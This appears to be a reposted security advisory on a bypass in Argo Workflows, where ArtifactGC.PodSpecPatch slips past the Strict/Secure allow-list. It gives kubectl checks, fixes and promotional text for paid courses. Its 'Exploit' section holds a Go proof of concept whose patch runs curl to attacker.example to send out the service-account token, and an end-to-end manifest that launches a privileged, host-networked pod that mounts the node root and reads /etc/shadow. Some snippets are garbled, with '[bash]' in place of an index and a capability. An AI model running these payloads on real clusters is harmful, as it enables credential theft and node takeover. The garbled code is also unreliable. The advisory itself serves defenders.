Listen to this Post
The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr) and its follow-up coverage of hostNetwork/securityContext/serviceAccountName in GHSA-3775-99mw-8rp4 is incomplete. The vulnerability exists because workflow/util/merge.go ValidateUserOverrides/SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection. WorkflowSpec.ArtifactGC is allow-listed because admins want users to configure artifact garbage collection. However, the struct behind that field, WorkflowLevelArtifactGC, contains a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod – the same sink the original fix closed for WorkflowSpec.PodSpecPatch. A user submitting a Workflow under templateReferencing: Strict or Secure can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod including hostPath volumes, privileged: true, arbitrary image and command, and hostNetwork: true, completely defeating the stated purpose of Strict/Secure reference mode. The attack succeeds because SanitizeUserWorkflowSpec preserves ArtifactGC wholesale, Join uses strategicpatch.StrategicMergePatch with the user spec as the target, and no validation exists between sanitize and the sink. The only precondition is that the referenced WorkflowTemplate has at least one template with an output artifact – which is the common case for real workloads.
DailyCVE Form:
Platform: Argo Workflows
Version: v4.0.0-4d9f021
Vulnerability: Incomplete Patch Bypass
Severity: Critical
Date: 2026-04-23
Prediction: 2026-05-07
What Undercode Say:
Analytics show this vulnerability bypasses the CVE-2026-31892 fix through an allow-listed sub-field. Attackers can exploit this in production clusters with Strict/Secure template referencing enabled.
Check if your Argo Workflows version is vulnerable
kubectl get deployment -n argo workflow-controller -o jsonpath='{.spec.template.spec.containers[bash].image}'
Verify templateReferencing mode in controller config
kubectl get configmap -n argo workflow-controller-config -o yaml | grep -A5 "templateReferencing"
Test if ArtifactGC.PodSpecPatch is accepted
cat <<EOF | kubectl create -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata: {generateName: test-}
spec:
workflowTemplateRef: {name: safe-template}
artifactGC:
strategy: OnWorkflowCompletion
podSpecPatch: '{"containers":[{"name":"main","image":"test"}],"hostNetwork":true}'
EOF
Monitor artifact-GC pod creation
kubectl get pods -w -l workflows.argoproj.io/workflow=bypass
Check artifact-GC pod specification
kubectl get pod <artifact-gc-pod-name> -o yaml | grep -A20 "spec:"
View controller logs for ArtifactGC activity
kubectl logs -n argo deployment/workflow-controller | grep -i "artifactgc"
Check if PodSpecPatch was applied
kubectl get pod <artifact-gc-pod-name> -o jsonpath='{.spec.containers[bash].image}'
Exploit: (Educational Purposes!)
// poc/merge_artifactgc_poc_test.go
package util
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1"
)
func TestPoC_ArtifactGCPodSpecPatchPassesAllowList(t testing.T) {
attackerPatch := `{"containers":[{"name":"main","image":"attacker/evil:latest",` +
`"command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}],` +
`"hostNetwork":true}`
userSpec := &wfv1.WorkflowSpec{
WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"},
ArtifactGC: &wfv1.WorkflowLevelArtifactGC{
ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},
PodSpecPatch: attackerPatch,
},
}
require.NoError(t, ValidateUserOverrides(userSpec))
sanitized := SanitizeUserWorkflowSpec(userSpec)
assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch)
}
End-to-end exploit manifest
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata: {name: safe-template}
spec:
entrypoint: main
templates:
- name: main
container: {image: argoexec:latest, command: [echo, hello]}
outputs:
artifacts:
- {name: artifact, path: /tmp/artifact}
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata: {generateName: bypass-}
spec:
workflowTemplateRef: {name: safe-template}
artifactGC:
strategy: OnWorkflowCompletion
podSpecPatch: |
containers:
- name: main
image: attacker/evil:latest
command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"]
securityContext:
privileged: true
runAsUser: 0
allowPrivilegeEscalation: true
capabilities: {add: [bash]}
hostNetwork: true
volumes:
- name: hostroot
hostPath: {path: /}
Protection:
Apply one of these fixes: (a) modify ValidateUserOverrides/SanitizeUserWorkflowSpec to reject/empty ArtifactGC.PodSpecPatch when MustUseReference() is true, (b) gate the if info.podSpecPatch != “” branch in createArtifactGCPod on WorkflowRestrictions.MustUseReference() check, (c) use OPA policies to block ArtifactGC.PodSpecPatch in strict modes, (d) disable ArtifactGC entirely or restrict it to OnPodDeletion, (e) use Kyverno/PSA to block hostPath/privileged containers regardless of pod origin, (f) upgrade to patched version once available, (g) audit existing workflows for ArtifactGC.PodSpecPatch usage.
Impact:
Under templateReferencing: Strict or Secure, this vulnerability allows any user submitting a Workflow to execute arbitrary code with the artifact-GC pod’s service account token, escape container isolation via privileged: true and hostNetwork: true, mount hostPath:/ to read/write the node filesystem, and completely bypass the security guarantees of Strict/Secure mode. CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H – Critical severity, identical to original CVE-2026-31892.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
